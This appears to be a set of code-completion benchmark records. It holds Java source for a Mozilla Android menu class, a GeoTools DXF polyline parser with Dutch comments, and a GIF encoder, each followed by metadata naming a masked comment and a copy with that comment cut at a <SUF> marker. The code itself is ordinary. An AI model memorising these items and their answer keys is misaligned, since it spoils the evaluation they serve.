public void clear() {
}
@Override
public void close() {
}
@Override
public MenuItem findItem(int id) {
for (GeckoMenuItem menuItem : mItems) {
if (menuItem.getItemId() == id)
return menuItem;
}
return null;
}
@Override
public MenuItem getItem(int index) {
if (index < mItems.size())
return mItems.get(index);
return null;
}
@Override
public boolean hasVisibleItems() {
for (GeckoMenuItem menuItem : mItems) {
if (menuItem.isVisible())
return true;
}
return false;
}
@Override
public boolean isShortcutKey(int keyCode, KeyEvent event) {
return true;
}
@Override
public boolean performIdentifierAction(int id, int flags) {
return false;
}
@Override
public boolean performShortcut(int keyCode, KeyEvent event, int flags) {
return false;
}
@Override
public void removeGroup(int groupId) {
}
@Override
public void removeItem(int id) {
for (GeckoMenuItem menuItem : mItems) {
if (menuItem.getItemId() == id) {
if (mActionItems.contains(menuItem)) {
if (mActionItemBarPresenter != null)
mActionItemBarPresenter.removeActionItem(mActionItems.indexOf(menuItem));
mActionItems.remove(menuItem);
} else {
removeView(findViewById(id));
}
mItems.remove(menuItem);
return;
}
}
}
@Override
public void setGroupCheckable(int group, boolean checkable, boolean exclusive) {
}
@Override
public void setGroupEnabled(int group, boolean enabled) {
}
@Override
public void setGroupVisible(int group, boolean visible) {
}
@Override
public void setQwertyMode(boolean isQwerty) {
}
@Override
public int size() {
return mItems.size();
}
@Override
public boolean hasActionItemBar() {
return (mActionItemBarPresenter != null);
}
@Override
public void onShowAsActionChanged(GeckoMenuItem item, boolean isActionItem) {
removeItem(item.getItemId());
if (isActionItem)
addActionItem(item);
else
addItem(item);
}
public void setActionItemBarPresenter(ActionItemBarPresenter presenter) {
mActionItemBarPresenter = presenter;
}
}
| neonux/mozilla-all | mobile/android/base/GeckoMenu.java | 2,013 | // Insert it in proper order. | line_comment | nl | /* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this file,
* You can obtain one at http://mozilla.org/MPL/2.0/. */
package org.mozilla.gecko;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.util.AttributeSet;
import android.view.KeyEvent;
import android.view.Menu;
import android.view.MenuItem;
import android.view.SubMenu;
import android.view.View;
import android.widget.LinearLayout;
import android.widget.LinearLayout.LayoutParams;
import java.util.ArrayList;
import java.util.List;
public class GeckoMenu extends LinearLayout
implements Menu, GeckoMenuItem.OnShowAsActionChangedListener {
private static final String LOGTAG = "GeckoMenu";
private Context mContext;
public static interface ActionItemBarPresenter {
public void addActionItem(View actionItem);
public void removeActionItem(int index);
public int getActionItemsCount();
}
private static final int NO_ID = 0;
// Default list of items.
private List<GeckoMenuItem> mItems;
// List of items in action-bar.
private List<GeckoMenuItem> mActionItems;
// Reference to action-items bar in action-bar.
private ActionItemBarPresenter mActionItemBarPresenter;
public GeckoMenu(Context context, AttributeSet attrs) {
super(context, attrs);
mContext = context;
setLayoutParams(new LayoutParams(LayoutParams.FILL_PARENT,
LayoutParams.WRAP_CONTENT));
setOrientation(VERTICAL);
mItems = new ArrayList<GeckoMenuItem>();
mActionItems = new ArrayList<GeckoMenuItem>();
}
@Override
public MenuItem add(CharSequence title) {
GeckoMenuItem menuItem = new GeckoMenuItem(mContext, NO_ID);
menuItem.setTitle(title);
addItem(menuItem);
return menuItem;
}
@Override
public MenuItem add(int groupId, int itemId, int order, int titleRes) {
GeckoMenuItem menuItem = new GeckoMenuItem(mContext, itemId, order);
menuItem.setTitle(titleRes);
addItem(menuItem);
return menuItem;
}
@Override
public MenuItem add(int titleRes) {
GeckoMenuItem menuItem = new GeckoMenuItem(mContext, NO_ID);
menuItem.setTitle(titleRes);
addItem(menuItem);
return menuItem;
}
@Override
public MenuItem add(int groupId, int itemId, int order, CharSequence title) {
GeckoMenuItem menuItem = new GeckoMenuItem(mContext, itemId, order);
menuItem.setTitle(title);
addItem(menuItem);
return menuItem;
}
private void addItem(GeckoMenuItem menuItem) {
menuItem.setOnShowAsActionChangedListener(this);
// Insert it<SUF>
int index = 0;
for (GeckoMenuItem item : mItems) {
if (item.getOrder() > menuItem.getOrder()) {
mItems.add(index, menuItem);
// Account for the items in the action-bar.
if (mActionItemBarPresenter != null)
addView(menuItem.getLayout(), index - mActionItemBarPresenter.getActionItemsCount());
else
addView(menuItem.getLayout(), index);
return;
} else {
index++;
}
}
// Add the menuItem at the end.
mItems.add(menuItem);
addView(menuItem.getLayout());
}
private void addActionItem(GeckoMenuItem menuItem) {
menuItem.setOnShowAsActionChangedListener(this);
int index = 0;
for (GeckoMenuItem item : mItems) {
if (item.getOrder() <= menuItem.getOrder())
index++;
else
break;
}
mActionItems.add(menuItem);
mItems.add(index, menuItem);
mActionItemBarPresenter.addActionItem(menuItem.getLayout());
}
@Override
public int addIntentOptions(int groupId, int itemId, int order, ComponentName caller, Intent[] specifics, Intent intent, int flags, MenuItem[] outSpecificItems) {
return 0;
}
@Override
public SubMenu addSubMenu(int groupId, int itemId, int order, CharSequence title) {
return null;
}
@Override
public SubMenu addSubMenu(int groupId, int itemId, int order, int titleRes) {
return null;
}
@Override
public SubMenu addSubMenu(CharSequence title) {
return null;
}
@Override
public SubMenu addSubMenu(int titleRes) {
return null;
}
@Override
public void clear() {
}
@Override
public void close() {
}
@Override
public MenuItem findItem(int id) {
for (GeckoMenuItem menuItem : mItems) {
if (menuItem.getItemId() == id)
return menuItem;
}
return null;
}
@Override
public MenuItem getItem(int index) {
if (index < mItems.size())
return mItems.get(index);
return null;
}
@Override
public boolean hasVisibleItems() {
for (GeckoMenuItem menuItem : mItems) {
if (menuItem.isVisible())
return true;
}
return false;
}
@Override
public boolean isShortcutKey(int keyCode, KeyEvent event) {
return true;
}
@Override
public boolean performIdentifierAction(int id, int flags) {
return false;
}
@Override
public boolean performShortcut(int keyCode, KeyEvent event, int flags) {
return false;
}
@Override
public void removeGroup(int groupId) {
}
@Override
public void removeItem(int id) {
for (GeckoMenuItem menuItem : mItems) {
if (menuItem.getItemId() == id) {
if (mActionItems.contains(menuItem)) {
if (mActionItemBarPresenter != null)
mActionItemBarPresenter.removeActionItem(mActionItems.indexOf(menuItem));
mActionItems.remove(menuItem);
} else {
removeView(findViewById(id));
}
mItems.remove(menuItem);
return;
}
}
}
@Override
public void setGroupCheckable(int group, boolean checkable, boolean exclusive) {
}
@Override
public void setGroupEnabled(int group, boolean enabled) {
}
@Override
public void setGroupVisible(int group, boolean visible) {
}
@Override
public void setQwertyMode(boolean isQwerty) {
}
@Override
public int size() {
return mItems.size();
}
@Override
public boolean hasActionItemBar() {
return (mActionItemBarPresenter != null);
}
@Override
public void onShowAsActionChanged(GeckoMenuItem item, boolean isActionItem) {
removeItem(item.getItemId());
if (isActionItem)
addActionItem(item);
else
addItem(item);
}
public void setActionItemBarPresenter(ActionItemBarPresenter presenter) {
mActionItemBarPresenter = presenter;
}
}
|
58008_3 | /*
* [ 1719398 ] First shot at LWPOLYLINE
* Peter Hopfgartner - hopfgartner
*
*/
package org.geotools.data.dxf.entities;
import com.vividsolutions.jts.geom.Coordinate;
import com.vividsolutions.jts.geom.Geometry;
import com.vividsolutions.jts.geom.LinearRing;
import org.geotools.data.dxf.parser.DXFLineNumberReader;
import java.io.EOFException;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Vector;
import org.geotools.data.GeometryType;
import org.geotools.data.dxf.parser.DXFUnivers;
import org.geotools.data.dxf.header.DXFLayer;
import org.geotools.data.dxf.header.DXFLineType;
import org.geotools.data.dxf.header.DXFTables;
import org.geotools.data.dxf.parser.DXFCodeValuePair;
import org.geotools.data.dxf.parser.DXFGroupCode;
import org.geotools.data.dxf.parser.DXFParseException;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
/**
*
*
* @source $URL$
*/
public class DXFLwPolyline extends DXFEntity {
private static final Log log = LogFactory.getLog(DXFLwPolyline.class);
public String _id = "DXFLwPolyline";
public int _flag = 0;
public Vector<DXFLwVertex> theVertices = new Vector<DXFLwVertex>();
public DXFLwPolyline(String name, int flag, int c, DXFLayer l, Vector<DXFLwVertex> v, int visibility, DXFLineType lineType, double thickness) {
super(c, l, visibility, lineType, thickness);
_id = name;
Vector<DXFLwVertex> newV = new Vector<DXFLwVertex>();
for (int i = 0; i < v.size(); i++) {
DXFLwVertex entity = (DXFLwVertex) v.get(i).clone();
newV.add(entity);
}
theVertices = newV;
_flag = flag;
setName("DXFLwPolyline");
}
public DXFLwPolyline(DXFLayer l) {
super(-1, l, 0, null, DXFTables.defaultThickness);
setName("DXFLwPolyline");
}
public DXFLwPolyline() {
super(-1, null, 0, null, DXFTables.defaultThickness);
setName("DXFLwPolyline");
}
public DXFLwPolyline(DXFLwPolyline orig) {
super(orig.getColor(), orig.getRefLayer(), 0, orig.getLineType(), orig.getThickness());
_id = orig._id;
for (int i = 0; i < orig.theVertices.size(); i++) {
theVertices.add((DXFLwVertex) orig.theVertices.elementAt(i).clone());
}
_flag = orig._flag;
setType(orig.getType());
setStartingLineNumber(orig.getStartingLineNumber());
setUnivers(orig.getUnivers());
setName("DXFLwPolyline");
}
public static DXFLwPolyline read(DXFLineNumberReader br, DXFUnivers univers) throws IOException {
String name = "";
int visibility = 0, flag = 0, c = -1;
DXFLineType lineType = null;
Vector<DXFLwVertex> lv = new Vector<DXFLwVertex>();
DXFLayer l = null;
int sln = br.getLineNumber();
log.debug(">>Enter at line: " + sln);
DXFCodeValuePair cvp = null;
DXFGroupCode gc = null;
boolean doLoop = true;
while (doLoop) {
cvp = new DXFCodeValuePair();
try {
gc = cvp.read(br);
} catch (DXFParseException ex) {
throw new IOException("DXF parse error" + ex.getLocalizedMessage());
} catch (EOFException e) {
doLoop = false;
break;
}
switch (gc) {
case TYPE:
String type = cvp.getStringValue(); // SEQEND ???
// geldt voor alle waarden van type
br.reset();
doLoop = false;
break;
case X_1: //"10"
br.reset();
readLwVertices(br, lv);
break;
case NAME: //"2"
name = cvp.getStringValue();
break;
case LAYER_NAME: //"8"
l = univers.findLayer(cvp.getStringValue());
break;
case LINETYPE_NAME: //"6"
lineType = univers.findLType(cvp.getStringValue());
break;
case COLOR: //"62"
c = cvp.getShortValue();
break;
case INT_1: //"70"
flag = cvp.getShortValue();
break;
case VISIBILITY: //"60"
visibility = cvp.getShortValue();
break;
default:
break;
}
}
DXFLwPolyline e = new DXFLwPolyline(name, flag, c, l, lv, visibility, lineType, DXFTables.defaultThickness);
if ((flag & 1) == 1) {
e.setType(GeometryType.POLYGON);
} else {
e.setType(GeometryType.LINE);
}
e.setStartingLineNumber(sln);
e.setUnivers(univers);
log.debug(e.toString(name, flag, lv.size(), c, visibility, DXFTables.defaultThickness));
log.debug(">>Exit at line: " + br.getLineNumber());
return e;
}
public static void readLwVertices(DXFLineNumberReader br, Vector<DXFLwVertex> theVertices) throws IOException {
double x = 0, y = 0, b = 0;
boolean xFound = false, yFound = false;
int sln = br.getLineNumber();
log.debug(">>Enter at line: " + sln);
DXFCodeValuePair cvp = null;
DXFGroupCode gc = null;
boolean doLoop = true;
while (doLoop) {
cvp = new DXFCodeValuePair();
try {
gc = cvp.read(br);
} catch (DXFParseException ex) {
throw new IOException("DXF parse error" + ex.getLocalizedMessage());
} catch (EOFException e) {
doLoop = false;
break;
}
switch (gc) {
case TYPE:
case X_1: //"10"
// check of vorig vertex opgeslagen kan worden
if (xFound && yFound) {
DXFLwVertex e = new DXFLwVertex(x, y, b);
log.debug(e.toString(b, x, y));
theVertices.add(e);
xFound = false;
yFound = false;
x = 0;
y = 0;
b = 0;
}
// TODO klopt dit???
if (gc == DXFGroupCode.TYPE) {
br.reset();
doLoop = false;
break;
}
x = cvp.getDoubleValue();
xFound = true;
break;
case Y_1: //"20"
y = cvp.getDoubleValue();
yFound = true;
break;
case DOUBLE_3: //"42"
b = cvp.getDoubleValue();
break;
default:
break;
}
}
log.debug(">Exit at line: " + br.getLineNumber());
}
@Override
public Geometry getGeometry() {
if (geometry == null) {
updateGeometry();
}
return super.getGeometry();
}
@Override
public void updateGeometry() {
Coordinate[] ca = toCoordinateArray();
if (ca != null && ca.length > 1) {
if (getType() == GeometryType.POLYGON) {
LinearRing lr = getUnivers().getGeometryFactory().createLinearRing(ca);
geometry = getUnivers().getGeometryFactory().createPolygon(lr, null);
} else {
geometry = getUnivers().getGeometryFactory().createLineString(ca);
}
} else {
addError("coordinate array faulty, size: " + (ca == null ? 0 : ca.length));
}
}
public Coordinate[] toCoordinateArray() {
if (theVertices == null) {
addError("coordinate array can not be created.");
return null;
}
Iterator it = theVertices.iterator();
List<Coordinate> lc = new ArrayList<Coordinate>();
Coordinate firstc = null;
Coordinate lastc = null;
while (it.hasNext()) {
DXFLwVertex v = (DXFLwVertex) it.next();
lastc = v.toCoordinate();
if (firstc == null) {
firstc = lastc;
}
lc.add(lastc);
}
// If only 2 points found, make Line
if (lc.size() == 2) {
setType(GeometryType.LINE);
}
// Forced closing polygon
if (getType() == GeometryType.POLYGON) {
if (!firstc.equals2D(lastc)) {
lc.add(firstc);
}
}
/* TODO uitzoeken of lijn zichzelf snijdt, zo ja nodding
* zie jts union:
* Collection lineStrings = . . .
* Geometry nodedLineStrings = (LineString) lineStrings.get(0);
* for (int i = 1; i < lineStrings.size(); i++) {
* nodedLineStrings = nodedLineStrings.union((LineString)lineStrings.get(i));
* */
return rotateAndPlace(lc.toArray(new Coordinate[]{}));
}
public String toString(String name, int flag, int numVert, int c, int visibility, double thickness) {
StringBuffer s = new StringBuffer();
s.append("DXFPolyline [");
s.append("name: ");
s.append(name + ", ");
s.append("flag: ");
s.append(flag + ", ");
s.append("numVert: ");
s.append(numVert + ", ");
s.append("color: ");
s.append(c + ", ");
s.append("visibility: ");
s.append(visibility + ", ");
s.append("thickness: ");
s.append(thickness);
s.append("]");
return s.toString();
}
@Override
public String toString() {
return toString(getName(), _flag, theVertices.size(), getColor(), (isVisible() ? 0 : 1), getThickness());
}
@Override
public DXFEntity translate(double x, double y) {
// Move all vertices
Iterator iter = theVertices.iterator();
while (iter.hasNext()) {
DXFLwVertex vertex = (DXFLwVertex) iter.next();
vertex._point.x += x;
vertex._point.y += y;
}
return this;
}
@Override
public DXFEntity clone() {
return new DXFLwPolyline(this);
}
}
| netconstructor/GeoTools | modules/unsupported/dxf/src/main/java/org/geotools/data/dxf/entities/DXFLwPolyline.java | 3,243 | // check of vorig vertex opgeslagen kan worden | line_comment | nl | /*
* [ 1719398 ] First shot at LWPOLYLINE
* Peter Hopfgartner - hopfgartner
*
*/
package org.geotools.data.dxf.entities;
import com.vividsolutions.jts.geom.Coordinate;
import com.vividsolutions.jts.geom.Geometry;
import com.vividsolutions.jts.geom.LinearRing;
import org.geotools.data.dxf.parser.DXFLineNumberReader;
import java.io.EOFException;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Vector;
import org.geotools.data.GeometryType;
import org.geotools.data.dxf.parser.DXFUnivers;
import org.geotools.data.dxf.header.DXFLayer;
import org.geotools.data.dxf.header.DXFLineType;
import org.geotools.data.dxf.header.DXFTables;
import org.geotools.data.dxf.parser.DXFCodeValuePair;
import org.geotools.data.dxf.parser.DXFGroupCode;
import org.geotools.data.dxf.parser.DXFParseException;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
/**
*
*
* @source $URL$
*/
public class DXFLwPolyline extends DXFEntity {
private static final Log log = LogFactory.getLog(DXFLwPolyline.class);
public String _id = "DXFLwPolyline";
public int _flag = 0;
public Vector<DXFLwVertex> theVertices = new Vector<DXFLwVertex>();
public DXFLwPolyline(String name, int flag, int c, DXFLayer l, Vector<DXFLwVertex> v, int visibility, DXFLineType lineType, double thickness) {
super(c, l, visibility, lineType, thickness);
_id = name;
Vector<DXFLwVertex> newV = new Vector<DXFLwVertex>();
for (int i = 0; i < v.size(); i++) {
DXFLwVertex entity = (DXFLwVertex) v.get(i).clone();
newV.add(entity);
}
theVertices = newV;
_flag = flag;
setName("DXFLwPolyline");
}
public DXFLwPolyline(DXFLayer l) {
super(-1, l, 0, null, DXFTables.defaultThickness);
setName("DXFLwPolyline");
}
public DXFLwPolyline() {
super(-1, null, 0, null, DXFTables.defaultThickness);
setName("DXFLwPolyline");
}
public DXFLwPolyline(DXFLwPolyline orig) {
super(orig.getColor(), orig.getRefLayer(), 0, orig.getLineType(), orig.getThickness());
_id = orig._id;
for (int i = 0; i < orig.theVertices.size(); i++) {
theVertices.add((DXFLwVertex) orig.theVertices.elementAt(i).clone());
}
_flag = orig._flag;
setType(orig.getType());
setStartingLineNumber(orig.getStartingLineNumber());
setUnivers(orig.getUnivers());
setName("DXFLwPolyline");
}
public static DXFLwPolyline read(DXFLineNumberReader br, DXFUnivers univers) throws IOException {
String name = "";
int visibility = 0, flag = 0, c = -1;
DXFLineType lineType = null;
Vector<DXFLwVertex> lv = new Vector<DXFLwVertex>();
DXFLayer l = null;
int sln = br.getLineNumber();
log.debug(">>Enter at line: " + sln);
DXFCodeValuePair cvp = null;
DXFGroupCode gc = null;
boolean doLoop = true;
while (doLoop) {
cvp = new DXFCodeValuePair();
try {
gc = cvp.read(br);
} catch (DXFParseException ex) {
throw new IOException("DXF parse error" + ex.getLocalizedMessage());
} catch (EOFException e) {
doLoop = false;
break;
}
switch (gc) {
case TYPE:
String type = cvp.getStringValue(); // SEQEND ???
// geldt voor alle waarden van type
br.reset();
doLoop = false;
break;
case X_1: //"10"
br.reset();
readLwVertices(br, lv);
break;
case NAME: //"2"
name = cvp.getStringValue();
break;
case LAYER_NAME: //"8"
l = univers.findLayer(cvp.getStringValue());
break;
case LINETYPE_NAME: //"6"
lineType = univers.findLType(cvp.getStringValue());
break;
case COLOR: //"62"
c = cvp.getShortValue();
break;
case INT_1: //"70"
flag = cvp.getShortValue();
break;
case VISIBILITY: //"60"
visibility = cvp.getShortValue();
break;
default:
break;
}
}
DXFLwPolyline e = new DXFLwPolyline(name, flag, c, l, lv, visibility, lineType, DXFTables.defaultThickness);
if ((flag & 1) == 1) {
e.setType(GeometryType.POLYGON);
} else {
e.setType(GeometryType.LINE);
}
e.setStartingLineNumber(sln);
e.setUnivers(univers);
log.debug(e.toString(name, flag, lv.size(), c, visibility, DXFTables.defaultThickness));
log.debug(">>Exit at line: " + br.getLineNumber());
return e;
}
public static void readLwVertices(DXFLineNumberReader br, Vector<DXFLwVertex> theVertices) throws IOException {
double x = 0, y = 0, b = 0;
boolean xFound = false, yFound = false;
int sln = br.getLineNumber();
log.debug(">>Enter at line: " + sln);
DXFCodeValuePair cvp = null;
DXFGroupCode gc = null;
boolean doLoop = true;
while (doLoop) {
cvp = new DXFCodeValuePair();
try {
gc = cvp.read(br);
} catch (DXFParseException ex) {
throw new IOException("DXF parse error" + ex.getLocalizedMessage());
} catch (EOFException e) {
doLoop = false;
break;
}
switch (gc) {
case TYPE:
case X_1: //"10"
// check of<SUF>
if (xFound && yFound) {
DXFLwVertex e = new DXFLwVertex(x, y, b);
log.debug(e.toString(b, x, y));
theVertices.add(e);
xFound = false;
yFound = false;
x = 0;
y = 0;
b = 0;
}
// TODO klopt dit???
if (gc == DXFGroupCode.TYPE) {
br.reset();
doLoop = false;
break;
}
x = cvp.getDoubleValue();
xFound = true;
break;
case Y_1: //"20"
y = cvp.getDoubleValue();
yFound = true;
break;
case DOUBLE_3: //"42"
b = cvp.getDoubleValue();
break;
default:
break;
}
}
log.debug(">Exit at line: " + br.getLineNumber());
}
@Override
public Geometry getGeometry() {
if (geometry == null) {
updateGeometry();
}
return super.getGeometry();
}
@Override
public void updateGeometry() {
Coordinate[] ca = toCoordinateArray();
if (ca != null && ca.length > 1) {
if (getType() == GeometryType.POLYGON) {
LinearRing lr = getUnivers().getGeometryFactory().createLinearRing(ca);
geometry = getUnivers().getGeometryFactory().createPolygon(lr, null);
} else {
geometry = getUnivers().getGeometryFactory().createLineString(ca);
}
} else {
addError("coordinate array faulty, size: " + (ca == null ? 0 : ca.length));
}
}
public Coordinate[] toCoordinateArray() {
if (theVertices == null) {
addError("coordinate array can not be created.");
return null;
}
Iterator it = theVertices.iterator();
List<Coordinate> lc = new ArrayList<Coordinate>();
Coordinate firstc = null;
Coordinate lastc = null;
while (it.hasNext()) {
DXFLwVertex v = (DXFLwVertex) it.next();
lastc = v.toCoordinate();
if (firstc == null) {
firstc = lastc;
}
lc.add(lastc);
}
// If only 2 points found, make Line
if (lc.size() == 2) {
setType(GeometryType.LINE);
}
// Forced closing polygon
if (getType() == GeometryType.POLYGON) {
if (!firstc.equals2D(lastc)) {
lc.add(firstc);
}
}
/* TODO uitzoeken of lijn zichzelf snijdt, zo ja nodding
* zie jts union:
* Collection lineStrings = . . .
* Geometry nodedLineStrings = (LineString) lineStrings.get(0);
* for (int i = 1; i < lineStrings.size(); i++) {
* nodedLineStrings = nodedLineStrings.union((LineString)lineStrings.get(i));
* */
return rotateAndPlace(lc.toArray(new Coordinate[]{}));
}
public String toString(String name, int flag, int numVert, int c, int visibility, double thickness) {
StringBuffer s = new StringBuffer();
s.append("DXFPolyline [");
s.append("name: ");
s.append(name + ", ");
s.append("flag: ");
s.append(flag + ", ");
s.append("numVert: ");
s.append(numVert + ", ");
s.append("color: ");
s.append(c + ", ");
s.append("visibility: ");
s.append(visibility + ", ");
s.append("thickness: ");
s.append(thickness);
s.append("]");
return s.toString();
}
@Override
public String toString() {
return toString(getName(), _flag, theVertices.size(), getColor(), (isVisible() ? 0 : 1), getThickness());
}
@Override
public DXFEntity translate(double x, double y) {
// Move all vertices
Iterator iter = theVertices.iterator();
while (iter.hasNext()) {
DXFLwVertex vertex = (DXFLwVertex) iter.next();
vertex._point.x += x;
vertex._point.y += y;
}
return this;
}
@Override
public DXFEntity clone() {
return new DXFLwPolyline(this);
}
}
|
137910_65 | import java.io.*;
import java.awt.*;
import java.awt.image.*;
import org.apache.commons.io.IOUtils;
/**
* Class AnimatedGifEncoder - Encodes a GIF file consisting of one or
* more frames.
* <pre>
* Example:
* AnimatedGifEncoder e = new AnimatedGifEncoder();
* e.start(outputFileName);
* e.setDelay(1000); // 1 frame per sec
* e.addFrame(image1);
* e.addFrame(image2);
* e.finish();
* </pre>
* No copyright asserted on the source code of this class. May be used
* for any purpose, however, refer to the Unisys LZW patent for restrictions
* on use of the associated LZWEncoder class. Please forward any corrections
* to questions at fmsware.com.
*
* @author Kevin Weiner, FM Software
* @version 1.03 November 2003
*
*/
public class AnimatedGifEncoder {
protected int width; // image size
protected int height;
protected Color transparent = null; // transparent color if given
protected int transIndex; // transparent index in color table
protected int repeat = -1; // no repeat
protected int delay = 0; // frame delay (hundredths)
protected boolean started = false; // ready to output frames
protected OutputStream out;
protected BufferedImage image; // current frame
protected byte[] pixels; // BGR byte array from frame
protected byte[] indexedPixels; // converted frame indexed to palette
protected int colorDepth; // number of bit planes
protected byte[] colorTab; // RGB palette
protected boolean[] usedEntry = new boolean[256]; // active palette entries
protected int palSize = 7; // color table size (bits-1)
protected int dispose = -1; // disposal code (-1 = use default)
protected boolean closeStream = false; // close stream when finished
protected boolean firstFrame = true;
protected boolean sizeSet = false; // if false, get size from first frame
protected int sample = 10; // default sample interval for quantizer
/**
* Sets the delay time between each frame, or changes it
* for subsequent frames (applies to last frame added).
*
* @param ms int delay time in milliseconds
*/
public void setDelay(int ms) {
delay = Math.round(ms / 10.0f);
}
/**
* Sets the GIF frame disposal code for the last added frame
* and any subsequent frames. Default is 0 if no transparent
* color has been set, otherwise 2.
* @param code int disposal code.
*/
public void setDispose(int code) {
if (code >= 0) {
dispose = code;
}
}
/**
* Sets the number of times the set of GIF frames
* should be played. Default is 1; 0 means play
* indefinitely. Must be invoked before the first
* image is added.
*
* @param iter int number of iterations.
* @return
*/
public void setRepeat(int iter) {
if (iter >= 0) {
repeat = iter;
}
}
/**
* Sets the transparent color for the last added frame
* and any subsequent frames.
* Since all colors are subject to modification
* in the quantization process, the color in the final
* palette for each frame closest to the given color
* becomes the transparent color for that frame.
* May be set to null to indicate no transparent color.
*
* @param c Color to be treated as transparent on display.
*/
public void setTransparent(Color c) {
transparent = c;
}
/**
* Adds next GIF frame. The frame is not written immediately, but is
* actually deferred until the next frame is received so that timing
* data can be inserted. Invoking <code>finish()</code> flushes all
* frames. If <code>setSize</code> was not invoked, the size of the
* first image is used for all subsequent frames.
*
* @param im BufferedImage containing frame to write.
* @return true if successful.
*/
public boolean addFrame(BufferedImage im) {
if ((im == null) || !started) {
return false;
}
boolean ok = true;
try {
if (!sizeSet) {
// use first frame's size
setSize(im.getWidth(), im.getHeight());
}
image = im;
getImagePixels(); // convert to correct format if necessary
analyzePixels(); // build color table & map pixels
if (firstFrame) {
writeLSD(); // logical screen descriptior
writePalette(); // global color table
if (repeat >= 0) {
// use NS app extension to indicate reps
writeNetscapeExt();
}
}
writeGraphicCtrlExt(); // write graphic control extension
writeImageDesc(); // image descriptor
if (!firstFrame) {
writePalette(); // local color table
}
writePixels(); // encode and write pixel data
firstFrame = false;
} catch (IOException e) {
ok = false;
}
return ok;
}
//added by alvaro
public boolean outFlush() {
boolean ok = true;
try {
out.flush();
return ok;
} catch (IOException e) {
ok = false;
}
return ok;
}
public byte[] getFrameByteArray() {
return ((ByteArrayOutputStream) out).toByteArray();
}
/**
* Flushes any pending data and closes output file.
* If writing to an OutputStream, the stream is not
* closed.
*/
public boolean finish() {
if (!started) return false;
boolean ok = true;
started = false;
try {
out.write(0x3b); // gif trailer
out.flush();
if (closeStream) {
out.close();
}
} catch (IOException e) {
ok = false;
}
return ok;
}
public void reset() {
// reset for subsequent use
transIndex = 0;
out = null;
image = null;
pixels = null;
indexedPixels = null;
colorTab = null;
closeStream = false;
firstFrame = true;
}
/**
* Sets frame rate in frames per second. Equivalent to
* <code>setDelay(1000/fps)</code>.
*
* @param fps float frame rate (frames per second)
*/
public void setFrameRate(float fps) {
if (fps != 0f) {
delay = Math.round(100f / fps);
}
}
/**
* Sets quality of color quantization (conversion of images
* to the maximum 256 colors allowed by the GIF specification).
* Lower values (minimum = 1) produce better colors, but slow
* processing significantly. 10 is the default, and produces
* good color mapping at reasonable speeds. Values greater
* than 20 do not yield significant improvements in speed.
*
* @param quality int greater than 0.
* @return
*/
public void setQuality(int quality) {
if (quality < 1) quality = 1;
sample = quality;
}
/**
* Sets the GIF frame size. The default size is the
* size of the first frame added if this method is
* not invoked.
*
* @param w int frame width.
* @param h int frame width.
*/
public void setSize(int w, int h) {
if (started && !firstFrame) return;
width = w;
height = h;
if (width < 1) width = 320;
if (height < 1) height = 240;
sizeSet = true;
}
/**
* Initiates GIF file creation on the given stream. The stream
* is not closed automatically.
*
* @param os OutputStream on which GIF images are written.
* @return false if initial write failed.
*/
public boolean start(OutputStream os) {
if (os == null) return false;
boolean ok = true;
closeStream = false;
out = os;
try {
writeString("GIF89a"); // header
} catch (IOException e) {
ok = false;
}
return started = ok;
}
/**
* Initiates writing of a GIF file with the specified name.
*
* @param file String containing output file name.
* @return false if open or initial write failed.
*/
public boolean start(String file) {
boolean ok = true;
try {
out = new BufferedOutputStream(new FileOutputStream(file));
ok = start(out);
closeStream = true;
} catch (IOException e) {
ok = false;
}
return started = ok;
}
/**
* Analyzes image colors and creates color map.
*/
protected void analyzePixels() {
int len = pixels.length;
int nPix = len / 3;
indexedPixels = new byte[nPix];
NeuQuant nq = new NeuQuant(pixels, len, sample);
// initialize quantizer
colorTab = nq.process(); // create reduced palette
// convert map from BGR to RGB
for (int i = 0; i < colorTab.length; i += 3) {
byte temp = colorTab[i];
colorTab[i] = colorTab[i + 2];
colorTab[i + 2] = temp;
usedEntry[i / 3] = false;
}
// map image pixels to new palette
int k = 0;
for (int i = 0; i < nPix; i++) {
int index =
nq.map(pixels[k++] & 0xff,
pixels[k++] & 0xff,
pixels[k++] & 0xff);
usedEntry[index] = true;
indexedPixels[i] = (byte) index;
}
pixels = null;
colorDepth = 8;
palSize = 7;
// get closest match to transparent color if specified
if (transparent != null) {
transIndex = findClosest(transparent);
}
}
/**
* Returns index of palette color closest to c
*
*/
protected int findClosest(Color c) {
if (colorTab == null) return -1;
int r = c.getRed();
int g = c.getGreen();
int b = c.getBlue();
int minpos = 0;
int dmin = 256 * 256 * 256;
int len = colorTab.length;
for (int i = 0; i < len;) {
int dr = r - (colorTab[i++] & 0xff);
int dg = g - (colorTab[i++] & 0xff);
int db = b - (colorTab[i] & 0xff);
int d = dr * dr + dg * dg + db * db;
int index = i / 3;
if (usedEntry[index] && (d < dmin)) {
dmin = d;
minpos = index;
}
i++;
}
return minpos;
}
/**
* Extracts image pixels into byte array "pixels"
*/
protected void getImagePixels() {
int w = image.getWidth();
int h = image.getHeight();
int type = image.getType();
if ((w != width)
|| (h != height)
|| (type != BufferedImage.TYPE_3BYTE_BGR)) {
// create new image with right size/format
BufferedImage temp =
new BufferedImage(width, height, BufferedImage.TYPE_3BYTE_BGR);
Graphics2D g = temp.createGraphics();
g.drawImage(image, 0, 0, null);
image = temp;
}
pixels = ((DataBufferByte) image.getRaster().getDataBuffer()).getData();
}
/**
* Writes Graphic Control Extension
*/
protected void writeGraphicCtrlExt() throws IOException {
out.write(0x21); // extension introducer
out.write(0xf9); // GCE label
out.write(4); // data block size
int transp, disp;
if (transparent == null) {
transp = 0;
disp = 0; // dispose = no action
} else {
transp = 1;
disp = 2; // force clear if using transparent color
}
if (dispose >= 0) {
disp = dispose & 7; // user override
}
disp <<= 2;
// packed fields
out.write(0 | // 1:3 reserved
disp | // 4:6 disposal
0 | // 7 user input - 0 = none
transp); // 8 transparency flag
writeShort(delay); // delay x 1/100 sec
out.write(transIndex); // transparent color index
out.write(0); // block terminator
}
/**
* Writes Image Descriptor
*/
protected void writeImageDesc() throws IOException {
out.write(0x2c); // image separator
writeShort(0); // image position x,y = 0,0
writeShort(0);
writeShort(width); // image size
writeShort(height);
